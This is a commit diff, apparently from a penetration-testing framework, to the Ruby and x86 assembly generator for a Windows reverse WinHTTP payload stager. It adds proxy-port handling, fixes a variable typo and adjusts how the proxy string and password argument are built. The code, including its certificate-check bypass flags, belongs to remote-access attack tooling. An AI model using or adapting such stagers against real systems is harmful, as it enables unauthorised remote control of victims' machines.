@@ -37,6 +37,7 @@ def generate(opts={})
37
37
conf [ :exitfunk ] = datastore [ 'EXITFUNC' ]
38
38
conf [ :verify_cert_hash ] = opts [ :verify_cert_hash ]
39
39
conf [ :proxy_host ] = datastore [ 'PayloadProxyHost' ]
40
+ conf [ :proxy_port ] = datastore [ 'PayloadProxyPort' ]
40
41
conf [ :proxy_user ] = datastore [ 'PayloadProxyUser' ]
41
42
conf [ :proxy_pass ] = datastore [ 'PayloadProxyPass' ]
42
43
conf [ :proxy_type ] = datastore [ 'PayloadProxyType' ]
@@ -157,7 +158,8 @@ def asm_reverse_winhttp(opts={})
157
158
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
158
159
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
159
160
else
160
- http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
161
+ http_open_flags = (
162
+ 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
161
163
end
162
164
163
165
asm = %Q^
@@ -194,7 +196,7 @@ def asm_reverse_winhttp(opts={})
194
196
push ebx ; Flags
195
197
push esp ; ProxyBypass ("")
196
198
call get_proxy_server
197
- db " #{ proxy_info } ", 0x00
199
+ db #{ proxy_info }
198
200
get_proxy_server:
199
201
; ProxyName (via call)
200
202
push 3 ; AccessType (NAMED_PROXY= 3)
@@ -245,7 +247,7 @@ def asm_reverse_winhttp(opts={})
245
247
push ebx ; pAuthParams (NULL)
246
248
^
247
249
248
- if proxy_Pass
250
+ if proxy_pass
249
251
asm << %Q^
250
252
call got_proxy_pass ; put proxy_pass on the stack
251
253
proxy_pass:
@@ -255,7 +257,7 @@ def asm_reverse_winhttp(opts={})
255
257
^
256
258
else
257
259
asm << %Q^
258
- push ebx ; pAuthParams (NULL)
260
+ push ebx ; pwszPassword (NULL)
259
261
^
260
262
end
261
263
0 commit comments